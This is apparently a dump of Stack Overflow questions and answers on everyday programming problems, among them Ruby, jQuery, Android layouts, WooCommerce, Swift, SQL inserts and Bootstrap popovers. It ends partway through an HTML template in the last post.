40997145	0	Ruby hash access value from string array <p>I have an hash like below:</p> <pre><code>hash = {"a": [{"c": "d", "e": "f"}] } </code></pre> <p>Normally we can access it like <code>hash["a"][0]["c"]</code>.</p> <p>But, I have a string like:</p> <pre><code>string = "a[0]['c']" </code></pre> <p>(This can change depending upon user input)</p> <p>Is there any easy way to access hash using above string values?</p>
24604385	0	 <p>You can prevent it by setting rule for semester_id as follows</p> <pre><code>$this-&gt;form_validation-&gt;set_rules('semester_id', 'input_name', 'trim|required|is_unique[TABLENAME.COLUMNNAME]'); </code></pre>
6094073	0	 <p><a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String/replace" rel="nofollow">https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String/replace</a></p> <p>You might use a regular expression with the "g" (global match) flag.</p> <pre><code>var entities = {'&lt;': '&amp;lt;', '&gt;': '&amp;gt;'}; '&lt;inputtext&gt;&lt;anotherinputext&gt;'.replace( /[&lt;&gt;]/g, function (s) { return entities[s]; } ); </code></pre>
32301294	0	 <p>Here's another vectorized approach. It tries all permutations of rows of <code>B</code>, and produces the optimal row-permuted <code>B</code> in matrix <code>Bresult</code>.</p> <pre><code>[m, n] = size(A); ind = perms(1:m); % // all permutations of row indices BB = permute(reshape(B(ind.',:),m,[],n),[1 3 2]); %'// all row-permuted B matrices C = sum(sum(abs(bsxfun(@minus, A, BB)),2),1); % // compute the sum for each [minsum, imin] = min(C); % // minimize Bresult = B(ind(imin,:),:); % // output result </code></pre>
20429150	0	 <h2>Regex</h2> <pre><code>^\&lt;[^\&gt;]+\&gt;.*$ </code></pre> <p><a href="http://regex101.com/r/iU2qX3" rel="nofollow">Demo</a></p> <p>Is what i'd switch to or</p> <pre><code>^\&lt;pstyle\:Chapter\&gt;.*$ </code></pre> <p><a href="http://regex101.com/r/aV0rH3" rel="nofollow">Demo</a></p> <p>or</p> <pre><code>^\&lt;pstyle\:Chapter\&gt;LXXI.*$ </code></pre> <p><a href="http://regex101.com/r/aI1zY5" rel="nofollow">Demo</a></p>
40744181	0	Client Credential Flow without Admin login <p>Following <a href="https://blogs.msdn.microsoft.com/exchangedev/2015/01/21/building-daemon-or-service-apps-with-office-365-mail-calendar-and-contacts-apis-oauth2-client-credential-flow/" rel="nofollow noreferrer">these</a> instructions on implementing client credential flow, using <a href="https://github.com/mattleib/o365api-as-apponly-webapp" rel="nofollow noreferrer">this</a> sample repo to test on, I got a running version of an app using client credential flow that can read email, calendar, contacts.</p> <p>However I need to sign in with my O365 tenant admin every time I run it and grant access to the application to read emails, calendar, etc. </p> <p>Isn't the whole point of Client Credential Flow (app-only) that I shouldn't need to enter any credentials to read data, since I've created a certificate that connects my AAD-app with my web-app. </p> <p>The only thing I can think of is that I have to sign in with the admin just once to set it up properly, but then it makes no sense that I get prompted to login as admin every time I run the application (running on localhost). </p>
10844111	0	 <p>You specified <code>fill_parent</code> for both the <code>layout_width</code> and <code>layout_height</code> of your <code>RelativeLayout</code>, therefore it fills up it's parent view. By default, a relative layout arranges it's children to the top-left corner, regardless you use <code>fill_parent</code> for the size. </p> <p>You should achieve the desired aspect by taking advantage of the <code>RelativeLayout's</code> own attribute set, which helps you arrange the child views <strong>relatively</strong> to each other or to their parent:</p> <pre><code>&lt;ImageButton android:id="@+id/buttonLog" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerInParent="true" android:background="@drawable/log" android:onClick="log" /&gt; </code></pre> <p>Using the <code>android:layout_centerInParent</code> you can achieve this. This attribute if set true, centers this child horizontally and vertically within its parent.</p>
17474616	0	 <p>There was nothing wrong with the angular directives it just that CHROME was seeing the request as the same therefore not executing it... and just binding the same data to every ajax request... </p>
8264627	1	How to deal with a Class generated exception from within Main <p>I'm having some trouble getting my head around how best to solve this situation (mostly due to lack of experience I think). I have written a couple of definitions in a single class that are called from a Main to perform certain tasks. It is assumed the Main could be written by anyone for a number of purposes, so killing the code in the class definition is not preferable. One basic rule of these definitions is, if def1 does its tasks successfully, def2 can be called. But if def1 fails, def2 must not be called as it will fail also.</p> <p>e.g. semi pseudo code, without exceptions:-</p> <pre><code># Test.py if __name__ == '__main__' # variables imported from a file var1 = a var2 = b class.def1(var1, var1) class.def2(var_from_def1) </code></pre> <p>Initially I just performed a sys.exit() in the def1 except:, but as mentioned previously, killing the whole program was undesirable and that it would be preferable to let the exception be thrown and let the Main control whether to call def2. </p> <p>From my understanding of exceptions (as limited as it is) this wouldn't work as the exception operation needs to have already been defined before it is raised. Unless it can be defined in Main, but I'd rather Main has an option to do that.</p> <p>A preferred solution would be for the Main to import the variables, pass them to def1, if def1 failed and Main was not set up to catch the exception the following call to def2 would be cleanly stopped (without killing the process or displaying a fail), no idea how to do that, or if the Main was catching exceptions it could stop the call to def2, load in another set of variables and try def1 again.</p> <p>Here is a conceptual view of the code which may help understand where I'm coming from.</p> <pre><code># Test.py if __name__ == '__main__' # variables imported from file var1 = a var2 = b while new variables to pull from file: try: class.def1(var1, var1) except: print 'def1 exception thrown' else: class.def2(var_from _def1) # class.py class class(object): def def1(self, var1, var2): try: do something potentially flawed except: # this is where I get stuck, not sure how or if I can pass an exception back to the main to decide what to do sys.stdout.write('didn't work') return something </code></pre> <p>Sorry, it does look messy, it's a combination of a few ideas for solutions I had, which probably shouldn't be mixed together.</p> <p>Any suggestions would be great. I have read a few books and forums regarding exceptions but just can't grasp how to best resolve this scenario.</p> <p>Thanks.</p>
17219355	0	 <p>use the attributes['xxx'].value</p>
27099914	0	 <p>I have face the same issue before but I do not understand that why this occur.But I have solve it by declaring variable using $ sign instead of var.</p> <pre><code> $('#numberOfItems').keyup(function(){ $items = $('#numberOfItems').val(); $weightitem = $('#weightitem').val(); $totalweight = $items * $weightitem; $('#totalweight').val($totalweight); }); </code></pre>
24710728	0	 <p>you need to set these attributes of elements as as:</p> <pre><code>$(document).ready(function () { $('#group').on('click', '.add_subgroup', function () { var i = $('div.subgroup').length; var where = $('#group'); var subgroup = $('#subgroup_hidden').clone(); var j = i + 1; subgroup.attr({ 'id': 'subgroup_' + j, 'class': 'subgroup' }).appendTo(where); subgroup.find('input, select, textarea').each(function(){ $(this).attr({ name: '', value: '' }) if($(this).is('textarea')) $(this).text(''); }) i++; }); $('#group').on('click', '.remove_subgroup', function () { $(this).closest('.subgroup').remove(); }); }); </code></pre> <p><a href="http://jsfiddle.net/8wUg8/" rel="nofollow">working fiddle</a></p>
22396045	0	Post a image into facebook app using app id <p>I need to post the image using the image url in my facebook app is that possible? How to post image to Facebook on button click? I have stored imageUrl in variable image and the facebook URL in the variable shareUrl, </p> <pre><code>following is the complete facebook URL : "https://www.facebook.com/dialog/feed?app_id=843228839026054&amp;caption=example.com&amp;display=popup&amp;redirect_uri="+encodeURIComponent("http://www.facebook.com/")+"&amp;name=%title%&amp;description=%desc%&amp;picture=%image%". &lt;html&gt; &lt;head&gt; &lt;script&gt; var doShare = function(title, description) { if(title &amp;&amp; description) { image="http://www.sxc.hu/assets/182945/1829445627/small-flowers-1019552-m.jpg"; /* for readability i store the url like this, above this code u can find the complete facebook url. */ shareUrl = "https://www.facebook.com/dialog/feed?"; shareUrl += "app_id=843228839026054&amp;caption=example.com&amp;display=popup&amp;"; shareUrl += "redirect_uri="+encodeURIComponent("http://www.facebook.com/"); shareUrl += "&amp;name=%title%&amp;description=%desc%&amp;picture=%image%"; var url = shareUrl.replace(/%title%/g, encodeURIComponent(title)); url = url.replace(/%desc%/g, encodeURIComponent(description)); url = url.replace(/%image%/g, encodeURIComponent(image)); var isOpen = window.open(url); if(!isOpen) { console.log('Please turn off "Block pop up" setting to proceed further.'); } } }; &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id='share'&gt; &lt;input type='button' onclick ='doShare("TITLE","DESCRIPTION")'&gt;Share&lt;/input&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
27886245	0	How to change the URL after a navigation using jQuery Mobile's $.mobile.navigate <p>I'm new to jQuery Mobile and I've been trying so hard (been googling for 2 days straight) to understand how the navigation to external pages works but finding it really hard so hopefully I can get a proper explanation here. From my searches I've found the <code>$.mobile.navigate</code> function but I haven't quite figured out how exactly to use it. </p> <p>Basically what I have is a <code>login.php</code> page, after you successfully logged in you should be taken to the <code>homepage.php</code>, I've managed to make it so that the <code>homepage.php</code>'s content is shown, but when it comes to the URL I can see for a split second that it changes to <code>homepage.php</code> but immidiately changes back to <code>login.php</code>. How can I make it so that it stays on <code>homepage.php</code>? </p> <p>I navigate to <code>homepage.php</code> with <code>$.mobile.navigate</code> like so:</p> <pre><code>&lt;input type="submit" form="login-form" name="submit_login" value="Logga in" id="submit-login"&gt; $('body').on('click', '#submit-login', function() { $.mobile.navigate('../../includes/pages/homepage.php'); }); </code></pre> <p>And currently my <code>homepage.php</code> file looks like this:</p> <pre><code>&lt;div data-role="page" data-url="homepage" data-theme="b" id="homepage"&gt; &lt;div data-role="header"&gt;Some content here&lt;/div&gt; &lt;div data-role="main"&gt;Some content here&lt;/div&gt; &lt;div data-role="footer"&gt;Some content here&lt;/div&gt; &lt;/div&gt; </code></pre> <p>I read somewhere that <code>data-url</code> is used for changing the url on navigation but I haven't been able to make any use of it from my attempts. </p>
5553782	0	 <p>You'll need </p> <pre><code>XMLNode.InsertAfter(newChildNode,referenceChildNode) </code></pre> <p>This should kickstart you:</p> <p><a href="http://msdn.microsoft.com/en-US/library/system.xml.xmlnode.insertafter%28v=VS.80%29.aspx" rel="nofollow">http://msdn.microsoft.com/en-US/library/system.xml.xmlnode.insertafter%28v=VS.80%29.aspx</a></p>
34613825	0	 <p>I just had to close the assistant editor and the debug area and then it magically showed up. If you don't have the assistant editor open then all you need to do is open it, then close it again. That should fix it too.</p> <p>If you don't know what the assistant editor is I have highlighted it in red:</p> <p><a href="https://i.stack.imgur.com/aoIF1.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/aoIF1.png" alt="Assistant editor in red"></a></p> <p>Xcode 7.2</p>
40260171	0	Woocommerce Product Price change(free) based on warranty status <p>I want to set few woocommerce product price free based on warranty status.</p> <p>Products are: <code>$target_products = array('2917','1229','1277');</code></p> <p>for Example : <code>$warranty_status = 1</code> mean, valid for warranty .</p> <p>if a customer has a valid warranty status the price of selective product will be free. So I try bellow code and I'm sucked at how to get all <code>$target_products</code> price &amp; set their new value . I'm not sure which hook will work fine.</p> <pre><code>function warranty_free_price( $price, $product ) { global $current_user,$wpdb; $target_products = array('2917','1229','1277'); get_currentuserinfo(); $loggedin_user_id = $current_user-&gt;user_login ; //check for warranty status $warranty_status = $wpdb-&gt;get_var("SELECT warranty_stat FROM {$wpdb-&gt;prefix}wc_product_license_reg WHERE customer = '$loggedin_user_id'"); if(!$warranty_status == 1){ return; // 1 = valid for warranty }else{ if ( in_array ($product-&gt;product_id ,$target_products ) ) { foreach (----------){//help me to figure this out $price = $product-&gt;get_price(); }//end for each } // return warranty price return $price; } } add_filter('woocommerce_get_price_html', 'warranty_free_price', 10, 2); </code></pre> <p>Please help...</p>
12575402	0	Split jQuery cycle pager into divs <p>I have a jQuery cycle slider working fine, but the pager I need split into different places. The paging itself works, but the active slide is the same for each div - i.e. for the first slide, the first pager in each div will show as active. I'm having a hard figuring out how to solve this problem! </p> <p>An example of what I'm trying to achieve is the paging of this site <a href="http://www.cote-carmes.com/en-en/rooms.php" rel="nofollow">http://www.cote-carmes.com/en-en/rooms.php</a>.</p> <p>The idea of the markup is as follows:</p> <pre><code>&lt;div id="home-content"&gt; &lt;div class="home-sub first"&gt; &lt;ul class="slide-nav"&gt; &lt;li&gt;&lt;a href="#"&gt;Link&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Link&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Link&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;div class="home-sub"&gt; &lt;ul class="slide-nav"&gt; &lt;li&gt;&lt;a href="#"&gt;Link&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Link&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Link&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;div class="home-sub"&gt; &lt;ul class="slide-nav"&gt; &lt;li&gt;&lt;a href="#"&gt;Link&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Link&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Link&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>And the jQuery I have as follows:</p> <pre><code>$('#home-slider').cycle({ pager: '#home-content ul', pagerAnchorBuilder: function(idx, slide) { // return selector string for existing anchor return '#home-content li:eq(' + idx + ') a'; } }); </code></pre> <p>Please help!</p>
15872236	0	 <p>Your code works fine for me. What error you might be having is in processFile function you are creating a file object from the fileName, which is not existing. Then might be trying to read the contents of the file which might be throwing you FileNotFoundException. just comment processFile function and your code will work. </p>
13824883	0	 <p>I have a suggestion. You can use the Customer Groups feature in PrestaShop 1.5 and only allow logged in customers to see the prices. For every Customer that is grouped in Visitor, they would see your website in Catalog Mode. </p>
12092356	0	 <p>A short perl script that should do what you need, explained in comments:</p> <pre><code>#!/usr/bin/perl -p $ast = '*' x 75; # Number of asterisks. if (m{//=+}) { # Beginning of a comment. $inside = 1; s{.*}{/$ast\\\nDescription:}; next; } if ($inside) { unless (m{^//}) { # End of a comment. undef $inside; print '\\', $ast, "/\n" ; } s{^//}{}; # Remove the comment sign for internal lines. } </code></pre>
12299543	0	 <p>You can do multiple inserts like this though,</p> <pre><code> INSERT INTO LOCATIONS (Location_ID,Postal_Code,City,State_Province,Country) VALUES ('L0001','19121','Philadelphia','PA','USA'), ('L0002','08618','Trenton','NJ','USA'); </code></pre>
24291156	0	 <p>I had a similar issue. In my case it was the client system that had a virus scanner installed. Those scanners sometimes have identity theft modules that intercept <code>POST</code>s, scan the body and then pass it on.</p> <p>In my case <code>BitDefender</code> cached about 5MB before passing it on.</p> <p>If the whole payload was less then the <code>POST</code> was delivered as non chunked fixed length request.</p>
31709865	0	 <p>The code bloat they are talking about in the article (as it is about the out of memory issue in the IDE) is related to the generated DCUs and all the meta information that is held in the IDE. Every DCU contains all the used generics. Only when compiling your binary the linker will remove duplicates.</p> <p>That means if you have <code>Unit1.pas</code> and <code>Unit2.pas</code> and both are using <code>TList&lt;Integer&gt;</code> both <code>Unit1.dcu</code> and <code>Unit2.dcu</code> have the binary code for <code>TList&lt;Integer&gt;</code> compiled in.</p> <p>If you declare <code>TIntegerList = TList&lt;Integer&gt;</code> in <code>Unit3</code> and use that in <code>Unit1</code> and <code>Unit2</code> you might think this would only include the compiled <code>TList&lt;Integer&gt;</code> in <code>Unit3.dcu</code> but not in the other two. But unfortunately that is not the case.</p>
2268541	0	 <p>When I try this: [MarshalAsAttribute(UnmanagedType.SafeArray, SafeArrayUserDefinedSubType = typeof(Inner))]</p> <p>I get: An unhandled exception of type 'System.ArgumentException' occurred in Driver.exe</p> <p>Additional information: The parameter is incorrect. (Exception from HRESULT: 0x80070057 (E_INVALIDARG))</p>
24242932	0	 <p>The <code>copy</code> method is defined in <code>NSObject</code>. If you custom class does not inherit from <code>NSObject</code>, <code>copy</code> won't be available.</p> <p>You can define <code>copy</code> for any object in the following way:</p> <pre><code>class MyRootClass { //create a copy if the object implements NSCopying, crash otherwise func copy() -&gt; AnyObject! { if let asCopying = ((self as AnyObject) as? NSCopying) { return asCopying.copyWithZone(nil) } else { assert(false, "This class doesn't implement NSCopying") return nil } } } class A : MyRootClass { } class B : MyRootClass, NSCopying { func copyWithZone(zone: NSZone) -&gt; AnyObject! { return B() } } var b = B() var a = A() b.copy() //will create a copy a.copy() //will fail </code></pre> <p>I guess that <code>copy</code> isn't really a pure Swift way of copying objects. In Swift it is probably a more common way to create a copy constructor (an initializer that takes an object of the same type).</p>
12245152	0	 <p>The equality operator(==) checks the refernce of string first then checks value of string. While equals method checks the value first. So,in this case equals method should be used instead of equality operator.<code> String s="hello"; String s1="hello"; String s3=new String("hello")</code> In the above code snippet if you use <code>If(s==s1){System.out.print("Equal");}</code>it would print equal.But if you check <code>If(s==s3){System.out.print("unqual");}</code>it wouldn't print unequal. so,you can see that even strings s and s3 are equal,output is wrong.Therefore,in this scenario like program in question </p> <blockquote> <p>Equals method must be used.</p> </blockquote>
30131063	0	 <p>The <code>myCar</code> variable is not visible in <code>displayMenu()</code> method. Try passing it in as parameter like:</p> <pre><code>public static void displayMenu(Car[] myCar) </code></pre> <p>Also, @ryekayo's suggestion will give you accurate results.</p> <p>Also make sure that <code>Car</code> class has a <code>toString()</code> method in order to print it.</p>
17204373	0	 <p><a href="http://developer.apple.com/library/ios/#documentation/AssetsLibrary/Reference/ALAsset_Class/Reference/Reference.html#//apple_ref/occ/instm/ALAsset/valueForProperty">http://developer.apple.com/library/ios/#documentation/AssetsLibrary/Reference/ALAsset_Class/Reference/Reference.html#//apple_ref/occ/instm/ALAsset/valueForProperty</a>:</p> <p>i think best way is </p> <pre><code>if ([[asset valueForProperty:ALAssetPropertyType] isEqualToString:ALAssetTypeVideo]) { // asset is a video } </code></pre> <p><a href="http://developer.apple.com/library/ios/#documentation/AssetsLibrary/Reference/ALAsset_Class/Reference/Reference.html#//apple_ref/doc/constant_group/Asset_Types">http://developer.apple.com/library/ios/#documentation/AssetsLibrary/Reference/ALAsset_Class/Reference/Reference.html#//apple_ref/doc/constant_group/Asset_Types</a></p> <p>Asset Types</p> <p>Constants that specify the type of an asset.</p> <pre><code>NSString *const ALAssetTypePhoto; NSString *const ALAssetTypeVideo; NSString *const ALAssetTypeUnknown; </code></pre>
23783038	0	 <p>its because the json you are using is not valid. and the parsing you are doing is not valid too</p> <p>here is a good link to start off with android json parsing</p> <p><a href="http://www.androidhive.info/2012/01/android-json-parsing-tutorial/" rel="nofollow">http://www.androidhive.info/2012/01/android-json-parsing-tutorial/</a></p>
21555653	0	Hiding <p> field in javascript <p>Here's my code for gathering titles/posts from reddit's api:</p> <pre><code> $.getJSON("http://www.reddit.com/search.json?q=" + query + "&amp;sort=" + val + "&amp;t=" + time, function (data) { var i = 0 $.each(data.data.children, function (i, item) { var title = item.data.title var url = item.data.url var id = item.data.id var subid = item.data.subreddit_id var selftext = item.data.selftext var selftextpost = '&lt;p id="post' + i + '"&gt;' + selftext + '&lt;/p&gt;&lt;br&gt;' var post = '&lt;div&gt;' + '&lt;a href="' + url + '"&gt;' + title + '&lt;/a&gt;' + '&lt;/div&gt;' results.append(post) results.append(selftextpost) i++ }); }); </code></pre> <p>Basically every post (selftext) is assigned a different paragraph id (post0, post1, post2, etc) for every result that's pulled. I'm also going to create a "hide" button that follows the same id scheme based on my i variable (submit0, submit1, submit2, etc). I want to write a function so that based on which button they click, it will hide the corresponding paragraph. I've tried doing an if statement that's like if("#hide" + i) is clicked, then hide the corresponding paragraph, but obviously that + i doesn't work. How else can I tackle this?</p>
28803403	0	 <p>You can try the below, using <a href="https://msdn.microsoft.com/en-us/library/tabh47cf%28v=vs.110%29.aspx" rel="nofollow">String.Split</a> which has been implemented specifically for these issues in .net. </p> <pre><code>Private Sub btnEnter_Click(sender As Object, e As EventArgs) Handles btnEnter.Click Dim Street As String, City As String, State As String, Zip As String Dim data() as string data = txtAddress.Text.Split("/"c) Street = data(0) City = data(1) State = data(2) Zip = data(3) TextBox1.Text = Street &amp; vbCrLf &amp; City &amp; " " &amp; State End Sub </code></pre>
27398755	0	PIN Block translation on thales HSM not working <p>I have encrypted a PIN block under a TPK (clear)</p> <p>When I am going to translation my PIN block from encryption under TPK to encryption under ZPK given from client on real HSM then it is giving me either error code 24 or 20.</p> <p>What can i do to resolve my issue ? I have tried many ways but it is not getting resolved.</p> <p>Translation command I am using is CA - Translate a PIN from TPK to ZPK/BDK (3-DES DUKPT) Encryption.</p> <p>Al these my operations working beautifully with thales HSM simulator.</p>
31136934	0	 <p>You can use <code>new Function</code> for that. It wraps your code into a function like this:</p> <pre><code>var fn = new Function(output); fn(); </code></pre> <p>Or shorter:</p> <pre><code>new Function(output)(); </code></pre> <p>Which is the equivalent of:</p> <pre><code>function(){ var newElement = document.createElement("h1"); var element = document.createTextNode("Hello World!"); newElement.appendChild(element); document.body.appendChild(newElement); } </code></pre>
17968979	0	 <p>Since your tree is essentially an object array, where each object has a label and an optional child array, what you need to prune are array elements, either in the main tree array or in one of it's branches. </p> <p>You definitely do not want to use <code>delete</code> to delete array elements, since that leaves you with a sparse array. Instead, you should <code>splice</code> out array elements. </p> <p>You should, on the other hand, use <code>delete</code> to remove object properties, like <code>children</code> once they're empty. Here's the code I would use:</p> <pre><code>function prune(array, label) { for (var i = 0; i &lt; array.length; ++i) { var obj = array[i]; if (obj.label === label) { // splice out 1 element starting at position i array.splice(i, 1); return true; } if (obj.children) { if (prune(obj.children, label)) { if (obj.children.length === 0) { // delete children property when empty delete obj.children; // or, to delete this parent altogether // as a result of it having no more children // do this instead array.splice(i, 1); } return true; } } } } </code></pre> <p>Now assuming your tree was called <code>tree</code> and the label you wanted pruned was <code>node3</code>, you would call prune like so:</p> <pre><code>var wasItPruned = prune(tree, "node3"); </code></pre>
32032574	0	How do i make a class that MUST be instantiated <p>how do I make a class that MUST be instantiated it, or anything like that. If it is possible anyway..</p>
26763112	0	Boostrap Popover error: Uncaught TypeError: undefined is not a function <p>I am getting a Uncaught TypeError: undefined is not a function on one page of my site. The function works without error on all the other pages. its a bit of a lengthy page code wise so i will only post it if need be, but here is the basics.</p> <p><strong>the button for the popover:</strong></p> <pre><code>&lt;button class="btn btn-info" id="help" type="button" data-toggle="popover" data-trigger="focus" data-html="true" data-placement="bottom" title="ActiveMLS Documentation" data-content="&lt;small&gt;&lt;p&gt;&lt;strong&gt;List Custom Property Listings&lt;/strong&gt;&lt;/p&gt;&lt;/small&gt;"&gt;&lt;i class="fa fa-question-circle"&gt;&lt;/i&gt;&lt;/button&gt; </code></pre> <p><strong>the error</strong></p> <blockquote> <p>Uncaught TypeError: undefined is not a function shell.js:23</p> </blockquote> <p><strong>the jquery from shell.js line 23</strong></p> <pre><code>/*******************************/ /* POPOVER HELPER /*******************************/ $(document).ready(function(){ $('#help').popover() }); </code></pre> <p>I'm baffled as to why it breaks on this page only?</p> <pre><code>&lt;!-- blueimp Gallery styles --&gt; &lt;link rel="stylesheet" href="/static/uploadlib/css/blueimp-gallery.min.css"&gt; &lt;!-- CSS to style the file input field as button and adjust the Bootstrap progress bars --&gt; &lt;link rel="stylesheet" href="/static/uploadlib/css/jquery.fileupload-ui.css"&gt; &lt;div class="row-fluid"&gt; &lt;div class="col-md-12"&gt; &lt;div class="row-fluid"&gt; &lt;div class="section-header text-center"&gt; &lt;button class="btn btn-info" id="help" type="button" data-toggle="popover" data-trigger="focus" data-html="true" data-placement="bottom" title="ActiveMLS Documentation" data-content="&lt;small&gt;&lt;p&gt;&lt;strong&gt;List Custom Property Listings&lt;/strong&gt; - The list Custom Property listings page is an overview of all the Custom Property listings listings and information displayed on the website frontend&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Add Custom Property Listings&lt;/strong&gt; - Shortcut to the &lt;em&gt;Add Custom Property Listings&lt;/em&gt; page.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Records Per Page&lt;/strong&gt; - Display any list 10, 25, 50, or 100 records at a time.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Search&lt;/strong&gt; - Search any list by keyword(s).&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Listing ID&lt;/strong&gt; - The Custom Property ID of the Custom Property listing.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Address&lt;/strong&gt; - The address of the Custom Property listing.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Edit Custom Property Listing&lt;/strong&gt; - Access the &lt;em&gt;Edit Custom Property Listing&lt;/em&gt; page for this listing.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Delete Custom Property Listing&lt;/strong&gt; - Access the &lt;em&gt;Delete Custom Property Listing&lt;/em&gt; page for this listing.&lt;/li&gt;&lt;/ul&gt;&lt;/small&gt;"&gt;&lt;i class="fa fa-question-circle"&gt;&lt;/i&gt;&lt;/button&gt; &lt;!-- TMPL_IF add_mode --&gt; &lt;h1&gt;Add Custom Property Listing&lt;/h1&gt; &lt;!-- /TMPL_IF --&gt; &lt;!-- TMPL_IF edit_mode --&gt; &lt;h1&gt;Edit Custom Property Listing&lt;/h1&gt; &lt;!-- /TMPL_IF --&gt; &lt;!-- TMPL_IF delete_mode --&gt; &lt;h1&gt;Delete Custom Property Listing&lt;/h1&gt; &lt;!-- /TMPL_IF --&gt; &lt;/div&gt; &lt;/div&gt; &lt;form id="fileupload" method="post" action="&lt;!-- TMPL_VAR request_path --&gt;"&gt; &lt;div class="row-fluid"&gt; &lt;!-- TMPL_IF error_message --&gt; &lt;div class="alert alert-danger alert-dismissable" role="alert" &gt; &lt;button type="button" class="close" data-dismiss="alert"&gt;&lt;span aria-hidden="true"&gt;&amp;times;&lt;/span&gt;&lt;span class="sr-only"&gt;Close&lt;/span&gt;&lt;/button&gt; Warning!&lt;br /&gt; &lt;!-- TMPL_VAR error_message ESCAPE=0 --&gt; &lt;/div&gt; &lt;!-- /TMPL_IF --&gt; &lt;/div&gt; &lt;div class="row-fluid"&gt; &lt;fieldset&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Listing Category&lt;/label&gt; &lt;!-- TMPL_VAR category ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Listing ID&lt;/label&gt; &lt;!-- TMPL_VAR listing_id ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Agent Name&lt;/label&gt; &lt;!-- TMPL_VAR l_ag1_id ESCAPE=0 --&gt; &lt;/div&gt; &lt;/fieldset&gt; &lt;/div&gt; &lt;hr /&gt; &lt;div class="row-fluid"&gt; &lt;fieldset&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Price&lt;/label&gt; &lt;!-- TMPL_VAR price ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="row-fluid"&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Street Address&lt;/label&gt; &lt;!-- TMPL_VAR street_no ESCAPE=0 --&gt; &lt;!-- TMPL_VAR street ESCAPE=0 --&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;City&lt;/label&gt; &lt;!-- TMPL_VAR city ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;State&lt;/label&gt; &lt;!-- TMPL_VAR state ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Zip Code&lt;/label&gt; &lt;!-- TMPL_VAR zip ESCAPE=0 --&gt; &lt;/div&gt; &lt;/fieldset&gt; &lt;/div&gt; &lt;hr /&gt; &lt;div class="row-fluid"&gt; &lt;fieldset&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Description&lt;/label&gt; &lt;!-- TMPL_VAR remarks_general ESCAPE=0 --&gt; &lt;/div&gt; &lt;/fieldset&gt; &lt;/div&gt; &lt;hr /&gt; &lt;div class="row-fluid"&gt; &lt;fieldset&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Business Type&lt;/label&gt; &lt;!-- TMPL_VAR business_type ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;For Lease&lt;/label&gt; &lt;!-- TMPL_VAR for_lease_yn ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;For Sale&lt;/label&gt; &lt;!-- TMPL_VAR for_sale_yn ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Parcel Type&lt;/label&gt; &lt;!-- TMPL_VAR parcel_type ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Area&lt;/label&gt; &lt;!-- TMPL_VAR area_desc ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;County&lt;/label&gt; &lt;!-- TMPL_VAR county ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;School District&lt;/label&gt; &lt;!-- TMPL_VAR schools_d ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Elementary School&lt;/label&gt; &lt;!-- TMPL_VAR schools_e ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;High School&lt;/label&gt; &lt;!-- TMPL_VAR schools_h ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Year Built&lt;/label&gt; &lt;!-- TMPL_VAR year_built ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Type&lt;/label&gt; &lt;!-- TMPL_VAR type ESCAPE=0 --&gt; &lt;/div&gt; &lt;div class="form-group col-md-6"&gt; &lt;label class="col-md-6"&gt;Rooms&lt;/label&gt; 